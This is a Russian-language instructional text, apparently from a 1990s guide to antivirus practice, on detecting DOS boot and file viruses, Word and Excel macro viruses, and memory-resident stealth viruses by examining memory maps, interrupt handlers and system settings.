Рекомендуется запустить одну из резидентных антивирусных программ-блокировщиков и следить за ее сообщениями о “подозрительных” действиях программ (запись в COM- или EXE-файлы, запись на диск по абсолютному адресу и т.п.). Существуют блокировщики, которые не только перехватывают такие действия, но и сообщают адрес, откуда поступил “подозрительный” вызов (к таким блокировщикам относится AVPTSR). Обнаружив подобное сообщение, следует выяснить, от какой программы оно пришло, и проанализировать ее коды при помощи резидентного дизассемблера (например, AVPUTIL.COM). При анализе кодов программ, резидентно находящихся в памяти, большую помощь часто оказывает трассирование прерываний 13h и 21h.
Следует отметить, что резидентные DOS-блокировщики часто оказываются бессильны, если работа ведется в DOS-окне под Windows95/NT, поскольку Windows95/NT позволяют вирусу работать “в обход” блокировщика (как, впрочем, и всех остальных резидентных программ). DOS-длокировщики также неспособны остановить распространение Windows-вирусов.
Рассмотренные выше методы обнаружения файловых и загрузочных вирусов подходят для большинства как резидентных, так и нерезидентных вирусов. Однако эти методы не срабатывают, если вирус выполнен по технологии “стелс”, что делает бесполезным использование большинства резидентных блокировщиков, утилит сравнения файлов и чтения секторов.
Характерными проявлениями макро-вирусов являются:
- Word: невозможность конвертирования зараженного документа Word в другой формат.
- Word: зараженные файлы имеют формат Template (шаблон), поскольку при заражении Word-вирусы конвертируют файлы из формата Word Document в Template.
- только Word 6: невозможность записи документа в другой каталог/на другой диск по команде “Save As”.
- Excel/Word: в STARTUP-каталоге присутствуют “чужие” файлы.
- Excel версий 5 и 7: наличие в Книге (Book) лишних и скрытых Листов (Sheets).
Для проверки системы на предмет наличия вируса можно использовать пункт меню Tools/Macro. Если обнаружены “чужие макросы”, то они могут принадлежать вирусу. Однако этот метод не работает в случае стелс-вирусов, которые запрещают работу этого пункта меню, что, в свою очередь, является достаточным основанием считать систему зараженной.
Многие вирусы имеют ошибки или некорректно работают в различных версиях Word/Excel, в результате чего Word/Excel выдают сообщения об ошибке, например:
Если такое сообщение появляется при редактировании нового документа или таблицы и при этом заведомо не используются какие-либо пользовательские макросы, то это также может служить признаком заражения системы.
Сигналом о вирусе являются и изменения в файлах и системной конфигурации Word, Excel и Windows. Многие вирусы тем или иным образом меняют пункты меню Tools/Options — разрешают или запрещают функции “Prompt to Save Normal Template”, “Allow Fast Save”, “Virus Protection”. Некоторые вирусы устанавливают на файлы пароль при их заражении. Большое количество вирусов создает новые секции и/или опции в файле конфигурации Windows (WIN.INI).
Естественно, что к проявлениям вируса относятся такие очевидные факты, как появление сообщений или диалогов с достаточно странным содержанием или на языке, не совпадающем с языком установленной версии Word/Excel.
Обнаружение резидентного вируса
Если в компьютере обнаружены следы деятельности вируса, но видимых изменений в файлах и системных секторах дисков не наблюдается, то вполне возможно, что компьютер поражен одним из “стелс”-вирусов. В этом случае необходимо загрузить DOS с заведомо чистой от вирусов дискеты, содержащей резервную копию DOS, и действовать, как и при поражении нерезидентным вирусом. Однако иногда это нежелательно, а в ряде случаев невозможно (известны, например, случаи покупки новых компьютеров, зараженных вирусом). Тогда придется обнаружить и нейтрализовать резидентную часть вируса, выполненную по технологии “стелс”. Возникает вопрос: где в памяти и как искать вирус или его резидентную часть? Существует несколько способов инфицирования памяти.
1. Вирус может проникнуть в таблицу векторов прерываний
Лучший способ обнаружить такой вирус состоит в том, чтобы просмотреть карту распределения памяти, которая отображает список резидентных программ (пример такой карты приведен в табл. 3.1). Подробная карта памяти сообщает информацию о всех блоках, на которые разбита память: адрес блока управления памятью MCB, имя программы-владельца блока, адрес ее префикса программного сегмента (PSP) и список перехватываемых блоком векторов прерываний.
При наличии вируса в таблице векторов прерываний, утилиты, отображающие карту распределения памяти (например, AVPTSR.COM, AVPUTIL.COM), начинают “шуметь”.
Другой, более надежный, но требующий высокой квалификации пользователя способ, — просмотреть таблицу векторов прерываний с помощью дизассемблера. Если при этом будут обнаружены коды какой-то программы, то код вируса (или участок кода) найден.
2. Вирус может несколькими способами встроиться в DOS: в произвольный системный драйвер, в системный буфер, в другие рабочие области DOS (например, в область системного стека или в свободные места таблиц DOS и BIOS)
Наиболее “популярным” способом инфицирования вирусом произвольного системного драйвера является прикрепление тела вируса к файлу, содержащему драйвер, и модификация заголовка поражаемого драйвера. Если при этом вирус оформляет себя как отдельный драйвер, то его можно обнаружить при просмотре карты распределения памяти, содержащей список системных драйверов. Если при этом в списке присутствует драйвер, который не описан в файле CONFIG.SYS, то он и может быть вирусом. Если же вирус “приклеивается” к расположенному перед ним драйверу, не выделяя свои коды как отдельную программу-драйвер, то обнаружить его можно методами, описанными ниже.
Вирус, встраивающийся в системный буфер, должен уменьшать общее число буферов; в противном случае он будет уничтожен последующими операциями считывания с диска. Достаточно несложно написать программу, которая подсчитывает число буферов, реально присутствующих в системе, и сравнивает полученный результат со значением команды BUFFERS, расположенной в файле CONFIG.SYS (если команда BUFFERS отсутствует, то со значением, устанавливаемым DOS по умолчанию).
Существует достаточно способов внедрения вируса в системные таблицы или область стека DOS. Однако реализация этих способов потребует от автора вируса досконального знания различных версий DOS. К тому же свободного места в DOS не так уж много, и поэтому написание полноценного “стелс”-вируса такого типа маловероятно. Если же все-таки подобный вирус появится, то обнаружить его код можно дизассемблированием “подозрительных” на наличие вируса участков DOS.
3. Вирус может проникнуть в область программ в виде:
- отдельной резидентной программы или отдельного блока памяти (MCB);
- внутри или “приклеившись” к какой-либо резидентной программе.
Если вирус внедряется в отведенную для прикладных программ область памяти в виде нового блока, создавая для себя собственный MCB, или как отдельная резидентная программа, то его можно обнаружить при просмотре подробной карты распределения памяти, отображающей адреса всех блоков MCB. Обычно такой вирус выглядит как отдельный блок памяти (табл. 3.3), не имеющий имени и перехватывающий один или несколько векторов прерываний (например, INT 8, 13h, 1Ch, 21h). Следует отметить, что вирус может выделить себе блок памяти как в обычной (conventional), так и в верхней памяти (UMB).
4. Вирус может проникнуть за границу памяти, выделенной под DOS
Практически все загрузочные и некоторые файловые вирусы располагаются за пределами памяти, выделенной для DOS, уменьшая значение слова, расположенного по адресу [0040:0013]. В этом случае первый мегабайт памяти компьютера выглядит так:
Обнаружить такие вирусы очень просто — достаточно узнать емкость оперативной памяти и сравнить ее с реальной. Если вместо 640K (на некоторых старых PC — 512K) система сообщит меньшее значение, то следует просмотреть дизассемблером “отрезанный” участок памяти. Если на этом участке будут обнаружены коды какой-то программы, то, скорее всего, вирус найден.
Внимание! Емкость оперативной памяти может уменьшиться на 1 или несколько килобайт и в результате использования расширенной памяти или некоторых типов контроллеров. При этом типичной является следующая картина: в “отрезанном” участке содержимое большинства байтов нулевое.
5. Вирус может встраиваться в конкретные, заведомо резидентные программы или “приклеиться” к уже имеющимся блокам памяти
Возможно инфицирование вирусом файлов DOS, которые являются резидентными (например, IO.SYS, MSDOS.SYS, COMMAND.COM), загружаемых драйверов (ANSY.SYS, COUNTRY.SYS, RAMDRIVE.SYS) и др. Обнаружить такой вирус гораздо сложнее вследствие малой скорости его распространения, но, однако, вероятность атаки подобного вируса значительно меньше. Все чаще стали встречаться “хитрые” вирусы, которые корректируют заголовки блоков памяти или “обманывают” DOS таким образом, что блок с кодами вируса становится одним целым с предыдущим блоком памяти.
В этом случае обнаружить вирус гораздо сложнее — необходимо знать реальную длину программ, размещенных в памяти, и список прерываний, которые они перехватывают. Но этот способ не очень удобен и иногда не срабатывает. Поэтому рекомендуется использовать другой метод, который может облегчить выявление вируса в подобной ситуации. Он основан на следующем свойстве - подавляющее большинство вирусов для обнаружения незараженных файлов или секторов дисков перехватывает прерывания 13h или 21h, встраиваясь в обработчик прерывания. В таком случае для обнаружения вируса достаточно просмотреть текст (команды ассемблера) обработчиков указанных прерываний (например, при помощи программы AVPUTIL.COM). Правда для того, чтобы отличить вирус от обычных программ, требуется достаточный опыт работы с вирусами и некоторое представление о структуре обработчика на незараженном компьютере. К тому же следует быть осторожным: существует несколько вирусов, которые “завешивают” систему при попытке трассировки их кодов.
Известны вирусы, которые при заражении файлов или дисков не пользуются прерываниями, а напрямую работают с ресурсами DOS. При поиске подобного вируса необходимо тщательно исследовать изменения во внутренней структуре зараженной DOS: список драйверов, таблицы файлов, стеки DOS и т.д. Это является очень кропотливой работой, и, учитывая многочисленность версий DOS, требует очень высокой квалификации пользователя.
Конечно, существуют и другие, достаточно экзотические способы инфицирования памяти вирусом, например внедрение вируса в видеопамять, в High Memory Area (HMA) или в расширенную память (EMS, XMS), но подобные вирусы встречаются достаточно редко и всегда проявлялись хотя бы одним из перечисленных выше признаков. Существуют также монстры, использующие защищенный режим процессоров i386 и выше. К счастью, известные вирусы такого типа либо “не живут” вместе с современными операционными системами и поэтому слишком заметны, либо не используют стелс-приемов. Однако появление полноценного стелс-DOS-вируса, работающего в защищенном режиме, вполне реально. Такой вирус будет невидим для DOS-задач и обнаружить его будет возможно, только либо перенеся зараженные файлы на незараженный компьютер, либо после перезагрузки DOS с чистой дискеты.
Обнаружение резидентного Windows-вируса является крайне сложной задачей. Вирус, находясь в среде Windows как приложение или VxD-двайвер, практически невидим, поскольку одновременно активны несколько десятков приложений и VxD, и вирус по внешним признакам от них ничем не отличается. Для того, чтобы обнаружить программу-вирус в списках активных приложений и VxD, необходимо досконально разбираться во “внутренностях” Windows и иметь полное представление о драйверах и приложениях, установленных на данном компьютере.
Поэтому единственный приемлемый способ поймать резидентный Windows-вирус - загрузить DOS и проверить запускаемые файлы Windows методами, описанными выше.
Читайте также: